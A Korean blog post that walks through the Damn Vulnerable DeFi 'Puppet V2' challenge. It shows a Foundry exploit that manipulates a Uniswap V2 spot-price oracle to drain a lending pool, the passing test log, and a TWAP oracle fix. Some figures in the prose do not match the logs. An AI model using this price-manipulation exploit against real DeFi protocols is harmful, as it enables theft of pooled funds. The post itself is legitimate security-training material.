티스토리 뷰
문제
취약점
이전 문제의 취약점은 UniswapV1의 즉각적인 가격 반영으로 인한 오라클 가격 조작이었습니다. 그래서 이번에는 UniswapV2를 사용한 새로운 버전을 사용했군요! 그리고 이번에는 ETH를 직접 사용하는 대신 WETH를 사용하였습니다. 또한 이전에는 담보의 양이 빌릴 토큰의 가격의 두 배였는데, 이번에는 세 배로 늘렸습니다.
function calculateDepositOfWETHRequired(uint256 tokenAmount) public view returns (uint256) {
return (_getOracleQuote(tokenAmount) * 3) / 10 ** 18;
}
// Fetch the price from Uniswap v2 using the official libraries
function _getOracleQuote(uint256 amount) private view returns (uint256) {
(uint256 reservesWETH, uint256 reservesToken) =
UniswapV2Library.getReserves(_uniswapFactory, address(_weth), address(_token));
return UniswapV2Library.quote(amount * (10 ** 18), reservesToken, reservesWETH);
}
그러나 근본적인 문제는 전혀 해결되지 않았습니다. 제가 이전 문제에서 TWAP을 사용해야 한다고 말씀드렸죠? 그런데 PuppetV2Pool에서는 여전히 모든 거래에 의해 즉각적으로 영향을 받는 유동성 풀의 reserve0, reserve1을 사용하여 가격을 계산하고 있습니다. 따라서 이 문제도 이전 문제와 동일한 공격을 실행할 수 있습니다.
공격
우선 공격자가 가지고 있는 1,000 DVT를 모두 WETH로 스왑합니다. 그러고 나면 WETH의 가격을 크게 올라가고 DVT의 가격은 크게 떨어집니다. 구체적으로, 1 WETH로 11300 DVT를 교환할 수 있게 됩니다. 공격자가 가진 ETH를 모두 WETH로 변환하면 공격자 소유의 WETH는 총 29개. 29 / 3 * 11,300 = 109,233.33 DVT로 렌딩 풀에 들어있는 모든 토큰을 빌릴 수 있는 금액입니다.
vm.startPrank(attacker);
// Approve the Uniswap router to spend the attacker's tokens
dvt.approve(address(uniswapV2Router), type(uint256).max);
console.log("Attacker DVT balance before swap: ", dvt.balanceOf(attacker) / 10 ** 18);
console.log("Attacker ETH balance before swap: ", attacker.balance / 10 ** 18);
console.log("Attacker WETH balance before swap: ", weth.balanceOf(attacker) / 10 ** 18);
console.log("Token price before swap: ", puppetV2Pool.calculateDepositOfWETHRequired(1 ether) / 3);
// Swap all DVT for WETH
address[] memory path = new address[](2);
path[0] = address(dvt);
path[1] = address(weth);
uniswapV2Router.swapExactTokensForTokens(dvt.balanceOf(attacker), 0, path, attacker, type(uint256).max);
console.log("Attacker DVT balance after swap: ", dvt.balanceOf(attacker) / 10 ** 18);
console.log("Attacker ETH balance after swap: ", attacker.balance / 10 ** 18);
console.log("Attacker WETH balance after swap: ", weth.balanceOf(attacker) / 10 ** 18);
console.log("Token price after swap: ", puppetV2Pool.calculateDepositOfWETHRequired(1 ether) / 3);
// Convert all ETH to WETH
weth.deposit{value: attacker.balance}();
console.log("Attacker WETH balance after deposit: ", weth.balanceOf(attacker) / 10 ** 18);
// Approve the pool to spend the attacker's WETH
weth.approve(address(puppetV2Pool), type(uint256).max);
// Borrow all DVT from the pool
uint256 wethRequired = puppetV2Pool.calculateDepositOfWETHRequired(POOL_INITIAL_TOKEN_BALANCE);
console.log("WETH required to borrow all DVT: ", wethRequired / 10 ** 18);
puppetV2Pool.borrow(POOL_INITIAL_TOKEN_BALANCE);
console.log("Attacker DVT balance after borrowing: ", dvt.balanceOf(attacker) / 10 ** 18);
console.log("Pool DVT balance after borrowing: ", dvt.balanceOf(address(puppetV2Pool)) / 10 ** 18);
vm.stopPrank();
$ make PuppetV2
forge test --match-test testExploit --match-contract PuppetV2
[⠔] Compiling...
No files changed, compilation skipped
Ran 1 test for test/Levels/puppet-v2/PuppetV2.t.sol:PuppetV2
[PASS] testExploit() (gas: 263028)
Logs:
🧨 Let's see if you can break it... 🧨
Attacker DVT balance before swap: 10000
Attacker ETH balance before swap: 20
Attacker WETH balance before swap: 0
Token price before swap: 100000000000000000
Attacker DVT balance after swap: 0
Attacker ETH balance after swap: 20
Attacker WETH balance after swap: 9
Token price after swap: 9832164944399
Attacker WETH balance after deposit: 29
WETH required to borrow all DVT: 29
Attacker DVT balance after borrowing: 1000000
Pool DVT balance after borrowing: 0
🎉 Congratulations, you can go to the next level! 🎉
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.99ms
Ran 1 test suite in 4.99ms: 1 tests passed, 0 failed, 0 skipped (1 total tests)
개선안
UniswapV2 Periphery 리포지토리에 오라클을 어떻게 구현해야 하는지 간단한 예제가 나와 있습니다. 다시 강조하자면, 가격을 결정하기 위해 시시각각 변동되는 값들을 참조하기보다는 누적된 값들을 사용하여 TWAP을 구하는 것이 바람직합니다.
https://github.com/Uniswap/v2-periphery/blob/master/contracts/examples/ExampleOracleSimple.sol
pragma solidity =0.6.6;
import '@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol';
import '@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol';
import '@uniswap/lib/contracts/libraries/FixedPoint.sol';
import '../libraries/UniswapV2OracleLibrary.sol';
import '../libraries/UniswapV2Library.sol';
// fixed window oracle that recomputes the average price for the entire period once every period
// note that the price average is only guaranteed to be over at least 1 period, but may be over a longer period
contract ExampleOracleSimple {
using FixedPoint for *;
uint public constant PERIOD = 24 hours;
IUniswapV2Pair immutable pair;
address public immutable token0;
address public immutable token1;
uint public price0CumulativeLast;
uint public price1CumulativeLast;
uint32 public blockTimestampLast;
FixedPoint.uq112x112 public price0Average;
FixedPoint.uq112x112 public price1Average;
constructor(address factory, address tokenA, address tokenB) public {
IUniswapV2Pair _pair = IUniswapV2Pair(UniswapV2Library.pairFor(factory, tokenA, tokenB));
pair = _pair;
token0 = _pair.token0();
token1 = _pair.token1();
price0CumulativeLast = _pair.price0CumulativeLast(); // fetch the current accumulated price value (1 / 0)
price1CumulativeLast = _pair.price1CumulativeLast(); // fetch the current accumulated price value (0 / 1)
uint112 reserve0;
uint112 reserve1;
(reserve0, reserve1, blockTimestampLast) = _pair.getReserves();
require(reserve0 != 0 && reserve1 != 0, 'ExampleOracleSimple: NO_RESERVES'); // ensure that there's liquidity in the pair
}
function update() external {
(uint price0Cumulative, uint price1Cumulative, uint32 blockTimestamp) =
UniswapV2OracleLibrary.currentCumulativePrices(address(pair));
uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired
// ensure that at least one full period has passed since the last update
require(timeElapsed >= PERIOD, 'ExampleOracleSimple: PERIOD_NOT_ELAPSED');
// overflow is desired, casting never truncates
// cumulative price is in (uq112x112 price * seconds) units so we simply wrap it after division by time elapsed
price0Average = FixedPoint.uq112x112(uint224((price0Cumulative - price0CumulativeLast) / timeElapsed));
price1Average = FixedPoint.uq112x112(uint224((price1Cumulative - price1CumulativeLast) / timeElapsed));
price0CumulativeLast = price0Cumulative;
price1CumulativeLast = price1Cumulative;
blockTimestampLast = blockTimestamp;
}
// note this will always return 0 before update has been called successfully for the first time.
function consult(address token, uint amountIn) external view returns (uint amountOut) {
if (token == token0) {
amountOut = price0Average.mul(amountIn).decode144();
} else {
require(token == token1, 'ExampleOracleSimple: INVALID_TOKEN');
amountOut = price1Average.mul(amountIn).decode144();
}
}
}
'Solidity > Hacking' 카테고리의 다른 글
[Damn Vulnerable DeFi] Backdoor (0) | 2024.03.02 |
---|---|
[Damn Vulnerable DeFi] Free Rider (0) | 2024.03.01 |
[Damn Vulnerable DeFi] Puppet (1) | 2024.02.28 |
[Damn Vulnerable DeFi] Compromised (1) | 2024.02.27 |
[Damn Vulnerable DeFi] Selfie (0) | 2024.02.26 |